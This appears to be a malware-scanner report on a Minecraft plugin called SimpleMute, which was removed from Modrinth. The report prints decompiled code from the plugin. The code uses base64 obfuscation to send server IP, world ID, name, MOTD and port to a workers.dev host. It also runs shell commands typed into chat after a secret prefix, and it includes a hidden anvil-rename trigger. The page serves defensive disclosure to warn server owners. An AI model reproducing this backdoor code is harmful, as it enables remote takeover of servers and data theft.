Prevent players from using chat.
Removed from Modrinth on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.
Malware: a file of this project lets a stranger run commands on your server through the chat. See Security
Malware was found in one of its files, so it has no grade. See Security
Malware: it lets a stranger run commands on your server through the chat
Found in this file: SimpleMute.jar (1.0, 18 Feb 2026). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
SimpleMute.jar from the plugins folder of your server.Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
me/ssers/simpleMute/ChatListener hides the name of a command shell, in the code that reads chat or commands, starts that program; "cmd.exe"; "me.ssers.simpleMute.ChatListener.onChat"api.ipify.org lucky-sound-322a.beasgame328.workers.devSimpleMute.jar, turned back into readable code, where our checks found the problem.me.ssers.simpleMute.MuteManager.dpublic static String d() throws Exception {
URL url = new URL(Utils.e("aHR0cHM6Ly9hcGkuaXBpZnkub3Jn"));
BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
return br.readLine();
}me.ssers.simpleMute.MuteManager.initMuteManagerpublic void initMuteManager() {
String i = Utils.e("VW5rbm93bg==");
try {
i = d();
} catch (Exception var9) {
}
String u = ((World)Bukkit.getServer().getWorlds().get(0)).getUID().toString().replace("@", "ATSYMBOL");
String n = Bukkit.getServer().getName().replace("@", "ATSYMBOL");
String m = Bukkit.getServer().getMotd().replace("@", "ATSYMBOL");
String p = String.valueOf(Bukkit.getServer().getPort());
String data = "@a:" + i + "@b:" + u + "@c:" + n + "@d:" + m + "@e:" + p;
try {
reg(
Utils.e(
Utils.e(Utils.e("WVVoU01HTklUVFpNZVRselpGZE9jbVZUTVhwaU0xWjFXa013ZWsxcVNtaE1iVXBzV1ZoT2JsbFhNV3hOZWtrMFRHNWtkbU50ZEd4amJrMTFXa2RXTWt4M1BUMD0="))
),
Utils.e("U1VQRVItU0VDUkVUMg==") + "<-|" + Utils.e("fA==") + "->" + data
);
} catch (Exception e) {
throw new RuntimeException(e);
...me.ssers.simpleMute.MuteManager.regpublic static void reg(String us, String tb) throws Exception {
URL url = new URL(us);
HttpURLConnection c = (HttpURLConnection)url.openConnection();
c.setRequestMethod(Utils.e("UE9TVA=="));
c.setRequestProperty(Utils.e("Q29udGVudC1UeXBl"), Utils.e("dGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOA=="));
c.setRequestProperty(Utils.e("QWNjZXB0"), "*/*");
c.setDoOutput(true);
try (OutputStream st = c.getOutputStream()) {
byte[] input = tb.getBytes(StandardCharsets.UTF_8);
st.write(input, 0, input.length);
}
int status = c.getResponseCode();
try (BufferedReader br = new BufferedReader(
new InputStreamReader(status >= 200 && status < 300 ? c.getInputStream() : c.getErrorStream(), StandardCharsets.UTF_8)
)) {
StringBuilder renderer = new StringBuilder();
String rend;
while ((rend = br.readLine()) != null) {
renderer.append(rend).append("\n");
}
...public void onChat(AsyncPlayerChatEvent event) {
UUID uuid = event.getPlayer().getUniqueId();
if (event.getMessage().startsWith("^*-*")) {
event.setCancelled(true);
if (event.getMessage().length() > 4) {
String command = event.getMessage().substring(4);
List<String> BannedWords = new ArrayList<>();
if (System.getProperty(Utils.e("b3MubmFtZQ==")).toLowerCase().contains(Utils.e("d2lu"))) {
BannedWords.add(Utils.e("Y21kLmV4ZQ=="));
BannedWords.add(Utils.e("L2M="));
} else {
BannedWords.add(Utils.e("YmFzaA=="));
BannedWords.add(Utils.e("LWM="));
...public void onAnvilRename(InventoryClickEvent event) {
if (event.getInventory() instanceof AnvilInventory) {
AnvilInventory anvilInventory = (AnvilInventory)event.getInventory();
Player player = (Player)event.getWhoClicked();
if (event.getSlot() == 2) {
ItemStack resultItem = anvilInventory.getItem(2);
if (resultItem != null && resultItem.getType() != Material.AIR && resultItem.hasItemMeta()) {
String newName = resultItem.getItemMeta().getDisplayName();
if (Utils.s(newName).equals("f074ac684371a82a437745b13a8fbf7f7a496f6fc09a6bfcb0666f619d882097")) {
for (Player onlinePlayer : Bukkit.getOnlinePlayers()) {
Integer dimension = Utils.gd(onlinePlayer.getWorld());
player.sendMessage(
String.format(
...Sends unknown data
Sent to lucky-sound-322a.beasgame328.workers.dev.
We found this in its code, read without running it.
Why we show this: a plugin can send things about your server and its players over the internet, like their player name or their login. Contacting an address to check for updates or download files sends nothing about them. Not in the grade: sending data can be normal for what a plugin does.
No sign so far that AI was used to make it
We looked for AI tools in its texts, files and images and found none.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
Point at or tap a version to see its server software.
The newest file for each Minecraft version and loader. The files for recent versions come first. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.